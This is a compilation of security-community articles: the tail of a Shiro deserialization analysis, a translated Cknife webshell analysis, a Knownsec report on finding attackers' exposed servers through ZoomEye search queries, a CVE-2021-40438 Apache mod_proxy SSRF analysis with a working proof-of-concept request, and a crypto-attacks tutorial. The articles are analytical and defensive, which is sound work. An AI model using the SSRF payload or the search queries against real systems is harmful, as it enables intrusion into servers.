resolvePrincipals:492, DefaultSecurityManager (org.apache.shiro.mgt)
createSubject:342, DefaultSecurityManager (org.apache.shiro.mgt)
buildSubject:846, Subject$Builder (org.apache.shiro.subject)
buildWebSubject:148, WebSubject$Builder (org.apache.shiro.web.subject)
createSubject:292, AbstractShiroFilter (org.apache.shiro.web.servlet)
doFilterInternal:359, AbstractShiroFilter (org.apache.shiro.web.servlet)
doFilter:125, OncePerRequestFilter (org.apache.shiro.web.servlet)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:199, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:543, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:139, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:690, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:87, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:615, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:818, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1627, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)
# 总结
两种方式都是使用`Class.forName`进行数组加载，但是`Classloader`大不相同，因此一个能成功一个不行。网上说的都不一定对，人云亦云的比较多，看Java就得像p老板说的敢去翻源码，hhhhhh。
# 参考
<https://blog.csdn.net/moakun/article/details/80402562>
<https://paper.seebug.org/shiro-rememberme-1-2-4/>
<https://blog.csdn.net/u012643122/article/details/46523007>
<https://blog.orange.tw/2018/03/>
<https://hunterzhao.io/post/2018/05/15/hotspot-explore-java-lang-class-forname/>
<https://blog.csdn.net/Brady74/article/details/75072404> | 社区文章 |
# 分析Cknife,一个类似China Chopper的webshell管理工具（第二部分）
|
##### 译文声明
本文是翻译文章，文章来源：recordedfuture
原文地址：<https://www.recordedfuture.com/web-shell-analysis-part-2/>
译文仅供参考，具体内容表达以及含义原文为准。
在第一部分中，我们分析了最近的趋势、代码库和探索防御性抑制。第二部分，我们将分析一份由中国程序员编写的webshell。
在2016年3月26日，记录未来自然语言处理（NLP）设备发出了Cknife警报。
**背景**
记录未来为Cknife记录的时间线显示其第一次出现是在2015年12月。2016年3月下旬因为Cknife发布了官方开源版本，出现次数明显激增。
大量中文论坛公布了一份受其启发编写的webshell代码，向 China Chopper表示敬意。
作者是Chora和MelodyZX ，他们称Cknife是对China Chopper时代的怀念，原话是这样的，“这个工具不是为了取代Chinese
kitchen knife，它是一个时代的象征，是不可替代的。”
他们俩表示创建Cknife并且不断发展的原因是“我们想让它可以在功能上代替Chinese kitchen
knife。Chopper是很方便，但是多年以来也积攒了许多问题。我们提取了它的核心功能，并在其中添加了我们自己多年的行业经验。它是跨平台、基于文件配置的Chinese
kitchen knife，用户可以自定义所有操作。”
**China Chopper历史**
China
Chopper是一个巧妙构建的4KB大小的webshell工具，据报告它被用于多个刑事和民族活动中，其中包括美国国防承包商。Webshell工具的第一次公开亮相是在2012年，随后maicaidao[.]com为其标记了来源。
ReversingLabs已经收集到自2013年以来超过250份不一样的China Chopper样本，这就说明了webshell的普及性。
**China Chopper — Cknife的相似之处**
大量的图标（PNG文件）的存储位置都是Cknife-master/src/com/ms509/images/，其SHA1哈希值是main.png is
4c805a9064d3d7d230c6241e63db4fcf7a1a1e15。
谷歌搜索main.png图像的结果中包括2013年开始运行的China Chopper中国网站，和最近才开始进入公众视线的Cknife，具体网址是这些：
> •hxxp://www.wmzhe[.]com/soft-32162.html
>
> •hxxp://www.uzzf[.]com/tags_Hopper.html
>
> •hxxp://www.uzzf[.]com/tags_webshell%B9%DC%C0%ED.html
>
> •hxxp://www.uzzf[.]com/key/hackersoft/
>
> •hxxp://m.uzzf[.]com/u/37342
>
> •hxxp://m.uzzf[.]com/u/60389
China Chopper使用的图标和Cknife有着一样的视觉效果（区别就是更清晰一些），但是它们的加密方式是不同的。
SHA1: 4c805a9064d3d7d230c6241e63db4fcf7a1a1e15
SHA1: 4ce780088b93a3e6e6592de9de1d2c2f85012b59
从2013年开始至少有78个不一样的 China Chopper 示例使用这个图标。
有趣的是，两位作者使用的都是同样的webshell图标。Chora 和MelodyZX 可能在看到China
Chopper图标之前就已经确定了自己的原始图标，或者也可能是这两位作者本身关系就很好。
China Chopper和Cknife的webshell文件另一个相似之处就是它们都在自己的HTTP POST 响应中使用了特定的 “->|”和“|<-”
字符，不管是Write(“->|”)响应、Write(“|<-”)响应，还是 echo (“->|”)和echo (“|<-”)。
下面这个由ReversingLabs处理的China Chopper图表描绘了2016年3月Cknife开源版本公布之后中文论坛上对其引用的激增。
**作者——Chora和MelodyZX**
Chora和MelodyZX是两个人的网名，背后是（至少部分是）MS509团队，负责创建和发布 Cknife。
MS509团队最近受邀出席“中国网络安全讲座2016年年会”，这就意味着他们的研究在中国被默认是合法的。
此外，MelodyZX还是阿里巴巴漏洞披露名单的前50名之一。
在原始的Cknife
论文贴中，Chora声明了Cknife功能和使用示例，并特别说明了webshell是为了绕过网页应用防火墙（WAF）而设计的，可以用于Red Team训练。
然而Cknife很有可能会被恶意使用，因为Chora不可能不知道开源自定义webshell会带来的影响。
Cknife面板菜单也只有中文模式，这或许是因为目标用户只是中文用户。 Chora 和MelodyZX
都不断在中文论坛上更新其发展进程，从这就可以看出他们的目标受众只是中文用户。
这里没有关于Cknife的进一步解释，这使得大家难以捉摸作者动机。从MelodyZX以及Cknife目的意图的已知信息中中可以将其比作两个灰帽。
Chora编写了Cknife的设计和java编码，而MelodyZX使用SQLite创建了数据库架构。
**Cknife的内部分析**
Cknife是用java编写的，目的是为了跨平台兼容。Cknife还为本机操作系统渲染设置了较旧的 Swing
GUI框架。对于java应用程序客户端来说这是个有趣的选择，因为java开发人员普遍认为Swing不易于使用。
一种解释就是从遗留的应用程序中复制一大段Swing代码可以节约作者大量时间。
Cknife的GitHub自述指令包括原始的java归档（JAR）文件托管在百度的链接（下载zip文件需要密码“f65g”）。从最新版本的GitHub来源中建立Cknife会产生Cknife.jar的更新版本。执行
Cknife Java 存档（sudo java -jar Cknife.jar），结果会显示在 Cknife GUI
面板（客户端）中。用鼠标右键单击主面板中的菜单，会出现一个拥有不同皮肤的子菜单，这里可以看出作者有在努力创建一个功能完善、方便使用的webshell管理工具。
最后一个通用菜单指向的是对应的端口、用户名、密码和代理类型的代理服务器配置的子菜单。
了解Cknife 客户端和 Ubuntu 14.04 webshell之间基本联系的快速办法就是使用和cus.php web
shell文件有着相同本地目录的PHP服务器。
运行PHP服务器之后，启用 TCPDump 来捕获随后在环回接口上生成的数据包，然后将其保存到一个文件里进行审查。
接下来使用 Cknife 客户端连接到本地 cus.php webshell中。
在配置连接参数之后，URL的右击菜单中有多国语言选项，用于连接到webshell以及枚举网页服务器上的远程文件、连接到远程数据库，和启动远程shell命令行访问。
在连接到远程 web shell 文件之后, Cknife 客户端将显示一个10秒的 HTTP
状态代码弹出窗口。额外的测试功能需要在一个拥有综合数据库且功能完整的 web 服务器上启动 web shell文件之后才能使用。
下面是 Cknife Java 客户端和 webshell之间基本连接的1019 字节。
Cknife 的用户代理很引人瞩目，因为客户端的 Java 应用程序相对罕见。像大多数 web shell一样，Cknife 使用 Base64
编码的字符串对HTTP POST 数据传输和储存进行模糊处理。
**结论**
Cknife 是中国一个跨平台兼容的 Java webshell框架 ，操作起来更像是针对web 服务器设计的RAT，其原型是China Chopper。
两位作者， Chora和MelodyZX（MS509团队成员） ，他们自己可能认为自己是白帽，但鉴于其开源 Cknife
一定会被黑帽利用，所以可以认定他们是灰帽。
基于作者的自述，Cknife 开发的动机似乎是想要改善China Chopper性能，后者被尊为一个时代的文化标志。
原文地址：
https://www.recordedfuture.com/web-shell-analysis-part-2/ | 社区文章 |
**Author: Knownsec 404 Team
中文版：<https://paper.seebug.org/2053/>**
### 1．Abstract
In the process of network attack, C2 server, loader server and even the
hackers' "working machine" may start the Web server for data transmission.
Based on the historical data of ZoomEye cyberspace search engine [1], we found
that 6.53% of the 9,247 Cobalt Strike [2] control servers have provided
directory browsing and file download services, involving malicious samples,
exploitation scripts, scan results and other files. According to the existing
data, we can find more hackers' "working machine" by high frequency mapping of
important network segments.
In the process of research, we also found that there was a behavior of
traversing and downloading all the files of hackers' "working machine", and
concluded that there were already many "hunters" on the Internet by searching
hackers' "working machine" to steal its attack tools and work results.
### 2．Overview
When hackers control other people's computers to steal files, they will also
become the target of others' attacks. For example, a hacker might download a
scanning tool that someone else has embedded with a malicious Trojan and then
run it on a computer that is controlled by a "hunter" behind it.
In this article, we will start by searching the Web server that the hacker
opens, by using the ZoomEye cyberspace search engine, become the "hunter"
behind the hacker.
During the attack, hackers encounter various environments. To ensure the
success of the attack, hackers use common methods to deliver malicious
samples.For example, start the Web server, and then download it through the
curl and wget commands that come with most systems. While the hacker is
testing samples and sending back data, the data can also be transferred by
starting a temporary Web server.
Some programming languages, such as Python, come with similar features. We can
start an http server with a single command: `python3 -m http.server` and
access it in a browser like this:
While this facilitates the transfer of data, it gives others the opportunity
to take advantage. If others find the "working machine" used by the hacker,
they can gain access to his attack tools, learn how he attacks, or even
directly access the data he steals.
### 3．Using ZoomEye to Find Hackers' Working Machine
Let's explore how to use ZoomEye to find that hackers' "working machine".
In addition to the feature string in the title of the web page, we also need
to specify the hackers "working machine" in the most frequent keyword
features, in order to accurately find the hackers' "working machine" on the
ZoomEye.
Here are some sample search statements:
Vulnerability EXP attack tools are often stored on the "working machine"
(title:"Index of /" title:"Directory List" title:"Directory listing for /") +"exp"
log4j exploit tools are often stored on the "working machine"
(title:"Index of /" title:"Directory List" title:"Directory listing for /") +"log4j"
CobaltStrike is frequently deployed on the "working machine"
(title:"Index of /" title:"Directory List" title:"Directory listing for /") +"cobaltstrike"
(title:"Index of /" title:"Directory List" title:"Directory listing for /") +"cobalt strike"
Metasploit is often deployed on the "working machine"
(title:"Index of /" title:"Directory List" title:"Directory listing for /") +"Metasploit"
Vulnerability exploitation tools containing the CVE number are often stored on the "working machine"
(title:"Index of /" title:"Directory List" title:"Directory listing for /") +"cve"
The payload is often stored on the "working machine"
(title:"Index of /" title:"Directory List" title:"Directory listing for /") +"payload"
calc.exe is often stored on the "working machine" for Trojan horse bundling tests
(title:"Index of /" title:"Directory List" title:"Directory listing for /") +"calc.exe"
#### 3.1 Example: A hacker uploads a scanning tool for malicious scanning
The server with IP address `124.200.*.*` added a tool named fscan64.exe on
February 14, 2023. On the following day (February 15, 2023),Knownsec Security
Intelligence [3] captured 1255 attack requests initiated by this IP address
and marked this IP address as a malicious IP address.
On February 14, 2023, a tool named fscan64.exe was
added to the server
On February 15, 2023, Knownsec Security Intelligence captured 1,255 attack
requests from this IP address
#### 3.2 Example: Malicious files used by hackers for delivery are marked as
malicious
The hacker stored multiple decoy files on the "working machine" for the victim
to click on. We randomly select a file "Google3.exe", which appears on the
"working machine" on January 31, 2023; It was then uploaded to the Virustotal
platform for verification, showing that the file had been identified as
malicious on February 17, 2023.
On January 31, 2023, the Google3.exe file appeared on the server
We uploaded the Google3.exe file to the Virustotal platform for detection, and
it was identified as malicious
#### 3.3 Example: We can obtain attack tools used by hackers
On the hacker "working machine", we can obtain attack tools used by hackers,
such as CVE vulnerability exploitation tool, Web Trojan tool, Payload code,
and decoy file.
①Cobalt Strike tool
②CVE-2019-7609 Kibana remote code execution vulnerability exploitation tool
③Payload code
④Apache James Server 2.3.2 remote code execution vulnerability exploitation
tools
⑤Multiple CVE vulnerability exploitation tools
⑥EXP tools
#### 3.4 Example: We can get the results of the hacker's work
On the hacker's "working machine", we can obtain the hacker's work results,
such as website scanning results, stolen victim Cookie data, stolen victim
keyboard record data, stolen victim's computer files and so on.
Steal the victim's cookie data
①The folder where the scan results are stored against gov.pk
②The subdomain name extension result of gov.pk
③For each subdomain, the FFUF tool was used to conduct the results of Web Fuzz
### 4．Mapping important network segments
#### 4.1 Web directory browsing open on Cobalt Strike controllers
A total of 9,247 IP addresses have been flagged as Cobalt Strike controllers
between January 1, 2020 and February 16, 2023, according to ZoomEye Cyberspace
search engine. Among them, 604 IP addresses have been used to provide
directory browsing and file downloading services, accounting for 6.53%.
According to the detected file names and other information, most of the files
are related to hacking attacks.This shows that some hackers on the Internet
have "working machines" that others can take advantage of.
#### 4.2 High frequency mapping important network segments
From the IP addresses that have been identified as Cobalt Strike control
terminals, we selected 30 B-segment IP addresses with the largest number of
Cobalt Strike controller for a small scale test, and conducted high-frequency
mapping for 72 hours on 3 ports (8000, 8080, 8888) of these 30 B-segment IP
addresses. Check whether it provides directory browsing and file downloading
services, and whether it is a hacker's "working machine".
The result is that within 72 hours, of the 1.96 million IP addresses in 30 B
segments, we mapped 176 IP addresses that provided directory browsing and file
downloading services, 13 of which were hackers' "working machines". We then
analyzed the opening and closing time of the HTTP service. Among the 176 IP
addresses, 70 were closed after the temporary opening of the HTTP service.
Therefore, we can infer that more hackers' "machines" can be found by high-frequency mapping of important network segments than by querying through a
cyberspace search engine.
### 5．Searching for the "hunters" already on the Internet
In this way, as the "hunter" behind the hacker, he can directly obtain the
attack tools and work results on the hacker's "working machine". We speculated
that such hunters already exist on the Internet, and we tried to find them.
From the file listed by the HTTP service on port 8000 at IP address
`83.136.*.*`, we can tell that it is a hacker's "working machine". The file
nohup.out is the request log file of the HTTP service.
The file nohup.out stores the request records of the HTTP service
In this file, we find the behavior of IP address `34.140.*.*` suspicious. This
IP address, on January 30, 2023, traversed and downloaded files from all the
folders on the hacker's "working machine." We queried the threat level of IP
address `34.140.*.*` by using Knownsec Security Intelligence, and found that
the IP address had been labeled as a malicious IP address, labeled as
"Malicious Scan". And malicious scanning attacks were indeed launched on
January 30, 2023.
The IP address `34.140.*.*` is not a search engine spider IP, so we infer that
it is a "hunter IP". Of course, it could be targeting not just the hacker's
"working machine," but any server with a directory browsing vulnerability.
①The threat level of this IP address is Medium.
②The IP address has labels such as "Malicious Scan"
③This IP address launched 23 malicious scan attacks on January 30, 2023
In the file "nohup.out", there are three IP addresses with the same behavior
as `34.140.*.*`. We speculate that they all belong to "hunter IP". Through
this example of a hacker "working machine", we have reason to infer that there
are many "hunters" on the Internet by searching for hackers "working machines"
to steal their attack tools and work results.
### 6．Conclusion
The hacker may act alone, but the disadvantage is that he has limited
technical ability and practical experience, and cannot pay attention to all
aspects of the details. It may also be teamwork, with a clear division of
labor, and each person is responsible for writing tools, carrying out attacks,
analyzing results, etc., but the disadvantage is that each person only pays
attention to the work he is responsible for, and no one pays attention to the
undefined work or risks. It is for these reasons that we can capture these
hackers' "working machines" through ZoomEye cyberspace search engine.
A hacker who is good at attacking is not necessarily good at defending, and
may appear as prey in front of a more powerful hunter. To be the hacker behind
the attack, or to be the hunter behind the hacker, is an escalation of the
confrontation between attack and defense, and is also the charm of mapping
cyberspace from the perspective of God.
### 7．Reference
[1] ZoomEye cyberspace search engine
<https://www.zoomeye.org/>
[2] Cobalt Strike
<https://www.cobaltstrike.com/>
[3] Knownsec Security Intelligence
<https://gac.yunaq.com/>
* * * | 社区文章 |
# Apache httpd Server CVE-2021-40438 漏洞分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 漏洞简介
2021年9月16日，Apache官方发布了Apache httpd mod_proxy
SSRF漏洞CVE-2021-40438，影响v2.4.48及以下版本。该漏洞影响范围较广，危害较大，利用简单，不得不引起重视。本文可配合之前的《Apache安全—挂钩分析》一起学习，笔者在本文重点介绍proxy钩子的漏洞细节，以及介绍如何分析Apache钩子的调试方式。
## 0x02 漏洞搭建
docker部署详见<https://github.com/BabyTeam1024/CVE-2021-40438>
开启mod_proxy模块
启用vhost配置文件
/etc/httpd/extra/httpd-vhosts.conf 配置文件内容如下
<VirtualHost *:80>
ServerAdmin [email protected]
DocumentRoot "/usr/local/httpd//docs/dummy-host.example.com"
ServerName dummy-host.example.com
ServerAlias www.dummy-host.example.com
ErrorLog "logs/dummy-host.example.com-error_log"
CustomLog "logs/dummy-host.example.com-access_log" common
<Location /proxy>
ProxyPass http://127.0.0.1:8888
</Location>
</VirtualHost>
使用gdb挂在httpd进程即可进行源码调试，如下图所示
## 0x03 漏洞分析
### 0x1 问题梳理
老方法，在漏洞分析之前首先问自己几个问题，带着这些问题去调试思考，最终通过努力将会解答自己的疑惑。面对这个漏洞以及利用poc，笔者有如下几个问题
1.apache代理关键逻辑是哪块函数处理的，从漏洞挖掘角度该怎么思考
2.为什么可以通过HTTP数据包覆盖配置文件里的代理路径
3.为什么需要这么多字符才能覆盖为http代理
GET /proxy?unix:A*6409|http://127.0.0.1:9999/vv HTTP/1.1
Host: 127.0.0.1:8787
User-Agent: curl/7.64.1
Accept: */*
### 0x2 如何分析Apache代理模块
Apache 配置的代理模式，其实是一个Apache
Proxy组件。该组件也是通过挂钩函数注册在Apache程序中，其中处理函数为proxy_handler，钩子的注册函数为ap_hook_handler，钩子的执行函数为ap_run_handler。可以在/modules/proxy/mod_proxy.c函数中找到apache
proxy注册的身影
那么何时调用呢？这个其实在分析CVE-2021-41773
Apache路径穿越漏洞的时候就已经分析了，简单总结为在/modules/http/http_request.c中的ap_process_async_request函数处理解析请求数据包
void ap_process_async_request(request_rec *r)
{
conn_rec *c = r->connection;
int access_status;
......
if (access_status == DECLINED) {
access_status = ap_process_request_internal(r);
if (access_status == OK) {
access_status = ap_invoke_handler(r);
}
}
......
}
在/server/config.c代码中存在如下处理逻辑
AP_CORE_DECLARE(int) ap_invoke_handler(request_rec *r)
{
......
result = ap_run_handler(r);
......
}
然而通过之前总结的《Apache安全—挂钩分析》文章得知，ap_run_handler在源码中并没有实际实现，而是通过宏定义的方式去实现，有兴趣的小伙伴可以去学习下。笔者的分析如下利用ida打开httpd程序，我们可以看到ap_run_handler的实具体现逻辑。
如上图所示v1为一个类似于虚表的结构，每40字节一个结构类型，处理函数的地址就存放在该结构的第一个4字节地址空间中。把断点下在第15行，通过下面的gdb脚本进行遍历打印
define FindHookList
set $ptr = $arg0
set $temp = *(unsigned long long *)$ptr
while($temp != 0)
xinfo $temp
set $ptr = $ptr + 40
set $temp = *(unsigned long long *)$ptr
end
end
脚本执行结果如下
梳理一下大概有这几个钩子处理函数，然而这次漏洞就出现在了proxy_handler函数中
core_upgrade_handler
proxy_handler
status_handler
handle_autoindex
default_handler
笔者通过查看汇编指令的方式查看地址对应的函数名
找到proxy_handler的调用过程后，主要分析Apache代理模块是如何进行代理的
### 0x3 Apache代理功能分析
在/modules/proxy/mod_proxy.c中的proxy_handler函数入口r->filename的值为下图所示
笔者发送的数据包为
GET /proxy/xxxx HTTP/1.1
Host: 127.0.0.1:8787
User-Agent: curl/7.64.1
Accept: */*
显而易见，r->filename采用了proxy路径之后的内容与 proxy:http://127.0.0.1:8888/进行拼接，继续往下分析。
接下来一大段代码是首部字段 Max-Forwards的处理逻辑，这里就不再讲解了。再之后的代码如下
char *url = uri;
/* Try to obtain the most suitable worker */
access_status = ap_proxy_pre_request(&worker, &balancer, r, conf, &url);
此处的uri为http://127.0.0.1:8888/xxxx
，跟进ap_proxy_pre_request函数，最终来到了本次漏洞的主要函数fix_uds_filename
fix_uds_filename函数开头部分判断了几个条件，是否为proxy:开头，其中是否包含了unix和| ，如果进入if判断这几个条件缺一不可。
笔者采用的配置方式如下所示，因此不会进入fix_uds_filename函数主逻辑进行处理。
ProxyPass http://127.0.0.1:8888
同样的如下配置也是不能够进入到主处理逻辑的，因为不包含|
ProxyPass unix:///tmp/xxxx
其实细心的同学们已经发现fix_uds_filename的第二个参数为引用参数，当函数执行完之后会将结果会传给实参。再往上追溯ap_proxy_pre_request函数也是采用引用参数的形式获取url的值，worker和balancer参数同理
那么究竟如何给这个url赋值呢？他到底有什么作用？即使配置成这样也是不能进入处理逻辑
ProxyPass "unix:/tmp/xxxx|http://127.0.0.1:8888/"
经过前面函数的处理只保留了http部分内容，接下来就是漏洞payload构造环节了
### 0x4 为什么可以替换代理内容
那么可以猜想xxxx部分内容是否可控，比如发送如下数据包
GET /proxy/xxxx?unix:///tmp/xxxx|http://127.0.0.1:8888/ HTTP/1.1
Host: 127.0.0.1:8787
User-Agent: curl/7.64.1
Accept: */*
在后端查看log日志显示内容如下，attempt to connect to Unix domain socket
/tmp/xxxx，这说明已经把之前配置文件里代理到http://127.0.0.1:8888/链接的配置修改为了访问Unix domain
socket套接字。
接着上一小节继续分析，这中间到底发生了什么导致从GET
url传递的path路径最后经过apache的解析覆盖了配置里的路径。具体细节在fix_uds_filename写的很清楚
static void fix_uds_filename(request_rec *r, char **url)
{
char *ptr, *ptr2;
if (!r || !r->filename) return;
if (!strncmp(r->filename, "proxy:", 6) &&
(ptr2 = ap_strcasestr(r->filename, "unix:")) &&
(ptr = ap_strchr(ptr2, '|'))) {//判断r->filename中是否包含proxy:、unix:以及|
apr_uri_t urisock;
apr_status_t rv;
*ptr = '\0';//用来分割unix domain socket 和 http协议
rv = apr_uri_parse(r->pool, ptr2, &urisock);
if (rv == APR_SUCCESS) {
char *rurl = ptr+1;//获取代理的http路径
char *sockpath = ap_runtime_dir_relative(r->pool, urisock.path);
apr_table_setn(r->notes, "uds_path", sockpath);
*url = apr_pstrdup(r->pool, rurl); /* so we get the scheme for the uds */
/* r->filename starts w/ "proxy:", so add after that */
memmove(r->filename+6, rurl, strlen(rurl)+1);//覆盖原有代理路径为新的http路径
ap_log_rerror(APLOG_MARK, APLOG_TRACE2, 0, r,
"*: rewrite of url due to UDS(%s): %s (%s)",
sockpath, *url, r->filename);
}
else {
*ptr = '|';
}
}
}
最后通过fix_uds_filename的一波操作后r->filename 变为了新的代理url。调试分析如下
函数入口处的r->filename为带有|分割的两个代理路径，最后通过以下两条语句获取uds_path和rurl
rv = apr_uri_parse(r->pool, ptr2, &urisock); // 从ptr2获取uds path
char *rurl = ptr+1;// 取|后的内容
可以看到代码的最后使用memmove函数替换r->filename 6字节之后的内容，如下图所示
细心读者可能会注意到一个为9999端口一个为/tmp/xxxx uds
文件，为什么最后代理的是uds文件而不是9999端口呢？这要看proxy_handler之后的代码。
### 0x5 如何将代理替换为http协议
在mod_proxy模块中也有钩子的使用，在proxy_handler代码中有一处如下函数调用。
access_status = proxy_run_scheme_handler(r, worker,
conf, url,
ents[i].hostname,
ents[i].port);
在 **P神**
的分析文章中直接把代码定位到了下面的部分，但是如果不了解apache函数调用机制的话，不知道是如何调用过来的，如果跟踪调用栈的话，只知道从proxy_run_scheme_handler到proxy_http_handler，虽然中间发生了很多事，但对调试者来说是透明的。和之前的钩子分析类似，scheme_handler也是一种挂钩，笔者找到了声明和注册的相关代码。
注册挂钩函数内容
p神在分析文章中提到的关键代码
uds_path = (*worker->s->uds_path ? worker->s->uds_path : apr_table_get(r->notes, "uds_path"));
if (uds_path) {//如果是null 则会使用http协议
if (conn->uds_path == NULL) {
/* use (*conn)->pool instead of worker->cp->pool to match lifetime */
conn->uds_path = apr_pstrdup(conn->pool, uds_path);
}
// ...
conn->hostname = "httpd-UDS";
conn->port = 0;
}
else {
// ...
conn->hostname = apr_pstrdup(conn->pool, uri->hostname);
conn->port = uri->port;
// ...
}
那么如何让uds_path为空就是这个漏洞将要解决的问题，把目光继续转向生成uds_path的关键代码。
char *sockpath = ap_runtime_dir_relative(r->pool, urisock.path);
apr_table_setn(r->notes, "uds_path", sockpath);
影响返回值的关键函数是apr_filepath_merge，代码将会根据该函数返回值，返回相应的内容。
AP_DECLARE(char *) ap_runtime_dir_relative(apr_pool_t *p, const char *file)
{
char *newpath = NULL;
apr_status_t rv;
const char *runtime_dir = ap_runtime_dir ? ap_runtime_dir : ap_server_root_relative(p, DEFAULT_REL_RUNTIMEDIR);
rv = apr_filepath_merge(&newpath, runtime_dir, file,
APR_FILEPATH_TRUENAME, p);
if (newpath && (rv == APR_SUCCESS || APR_STATUS_IS_EPATHWILD(rv)
|| APR_STATUS_IS_ENOENT(rv)
|| APR_STATUS_IS_ENOTDIR(rv))) {
return newpath;
}
else {
return NULL;
}
}
但是apr函数不在apache源代码里，通过查看apr-1.6.3源码可以分析其中的逻辑，该函数在apr-1.6.3/file_io/unix/filepath.c
通过调试分析，该部分绕过就显而易见了，只需控制maxlen>APR_PATH_MAX
即可，addpath为uninx://和|之间的字符串，所以在构造payload的时候只需将长度控制在一定大小就能让Apache转发给指定的http端口。到此该漏洞的大部分内容已经分析完了，该漏洞涉及到了大量的httpd
调试技术，笔者在之前的分析文章中也有介绍。
### 0x6 如何修复
在2.4.49版本代码中使用了ap_cstr_casecmpn，该函数不区分大小写的比较两个字符串的前5个字符。
这也就意味着只能是 proxy:unix:
开头的字符串才能进入该分支，然而这并不属于用户控制的范围。但是如果在原用配置中使用了uds配置，则会进入该分支，至于会不会产生漏洞，笔者没有进一步测试。
## 0x04 总结
该ssrf代理访问漏洞适用于apache的绝大多是版本，相对来说漏洞原理比较简单，隐藏了多年也是很不容易了，至于危害的话，笔者认为危害还是挺大的，可以访问到服务器内部一些不对外开放的http端口及uds文件。整个分析流程已经完整呈现在大家面前，很多借鉴了p神和Firzen文章里的分析步骤，如有问题多多指正。
## 参考文献
<https://www.leavesongs.com/PENETRATION/apache-mod-proxy-ssrf-cve-2021-40438.html>
<https://www.wangan.com/p/7fygfy122c313bee>
<https://firzen.de/building-a-poc-for-cve-2021-40438> | 社区文章 |
**作者：evilpan
原文链接：<https://evilpan.com/2019/06/02/crypto-attacks/>**
**本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！
投稿邮箱：[email protected]**
本文主要介绍常见的对称加密算法和它们的原理，然后分析一些实际存在的密码学攻击案例，包括流加密密钥重用漏洞、ECB块重排攻击以及CBC的Padding
Oracle攻击等。
# 对称加密
当今我们所使用的加密算法，大致可以分为两类，即对称加密与非对称加密。其中非对称加密所能加密的内容长度一般受密钥长度的限制，且加密速度较慢，因此通常会与对称加密算法结合使用，即使用对称加密来对明文进行加密，再使用私钥对对称加密的密钥进行加密。本文主要关注对称加密。
对称加密在消息通信的两端共享相同密钥，加密算法一般分为两种类型：
* 流加密（Stream Ciphers）：逐字节加密数据
* 块加密（Block Ciphers）：逐块加密数据
其中块加密的块大小与具体加密算法的实现有关，常见的块大小有128、256位等。
## 流加密
流加密会逐字节加密数据，最常见的流加密算法就是SSL中用到的RC4算法了。其本质上是以密钥为种子（seed）产生的随机数来对明文进行逐字节异或。
0 xor 0 = 0
0 xor 1 = 1
1 xor 0 = 1
1 xor 1 = 0
流加密本质上依赖于随机数生成器的随机性，其随机性越强，加密强度就越大。
## 块加密
块加密也称为分组加密，也是大多数人比较熟悉的。AES、DES、3DES、Towfish等常见的加密算法都是块加密。在块加密中，原始数据会被分割成若干个大小为N的块，并分别对这些块进行加密。由于我们不能保证数据是N的倍数，因此需要对数据进行填充（Padding），这增加了实现的复杂度。一般来说，与流加密相反，块加密的解密流程和加密流程往往是不同的。
### Padding
一种常见的填充方式是不论数据大小是否对齐块边界，都进行填充，而填充的内容为填充的字节数。比如块大小为8字节，那么可能有以下填充：
* 'AAAAAAA' + '\x01'
* 'AAAAAA' + '\x02\x02'
* ...
* 'AA' + '\x06' * 6
* 'A' + '\x07' * 7
* '\x08' * 8
这就是[PKCS#7](https://en.wikipedia.org/wiki/PKCS "PKCS#7")中所定义的填充方式。
### 加密模式
块加密算法对数据进行逐块加密，有很多加密模式（mode）用于实现块的加密。这些加密模式大都可以归类为两种，即ECB模式和CBC模式。
#### ECB
ECB全称为`Electronic
CodeBook`，是块加密中比较简单的加密模式。在ECB模式中，每一块明文数据都被独立地进行加密来生成加密块。这意味着如果你发现两个加密块有相同的内容，那么就可以确定这两个加密块的原文也是相同的。
这看起来好像没什么大不了的，但我们可以考虑这么一种情况，比如要加密的对象是一张图像，我们使用ECB加密算法，并且设置块大小为8字节（DES），加密后的图像如下：
虽然和原图有所区别，但也足以明显地看出原图的大致内容。
#### CBC
CBC全称为`Cipher-Block
Chaining`，算是最常见的块加密模式了。在CBC模式中，每个明文块都会在加密前被使用前一个明文块的秘文进行异或；解密过程则正好相反。其中第一个明文块会被使用IV即初始化向量进行异或。
由于CBC模式中各个块会相互链接，在第一个加密块（Block0）中翻转某一位，则会在解密后导致对应的 **下一个**
明文块中（Block1）相同的位进行翻转。这项特性也导致了许多有趣的bug，后面会说到。
# 常见攻击
下面我们来介绍一下在现实中很常见的一些加密算法缺陷所导致的攻击场景。
## 流加密重用攻击
也常称为`Stream Cipher Reuse
Attack`，指多次使用相同的流加密密钥可导致明文泄露。前面说过，流加密实际上是使用密钥生成随机序列，然后用该序列来对明文逐位异或加密。假设生成的随机序列为`C(K)`，加密函数为`E()`，那么对于明文A、B来说，则：
E(A) = A xor C
E(B) = B xor C
进行简单的数学运算：
E(A) xor E(B) = (A xor C) xor (B xor C) = A xor B xor C xor C = A xor B
这意味着如果攻击者可以拿到A、B的密文E(A)、E(B)，以及攻击者自己的明文B，就可以在无需知道密钥的情况下计算出A的明文：
A = E(A) xor E(B) xor B
眼见为实，我们使用RC4流加密为示例，首先使用openssl生成两个文件的密文（使用相同密钥）：
$ cat 1.txt
hello
$ cat 2.txt
world
$ openssl rc4 -nosalt -in 1.txt > 1.enc
$ openssl rc4 -nosalt -in 2.txt > 2.enc
接着，在已知`1.enc`、`2.enc`以及`2.txt`的情况下，还原`1.txt`的内容：
#!/usr/bin/env python3
def load(file):
with open(file, 'rb') as f:
data = f.read()
print('loaded', len(data), 'bytes from', file)
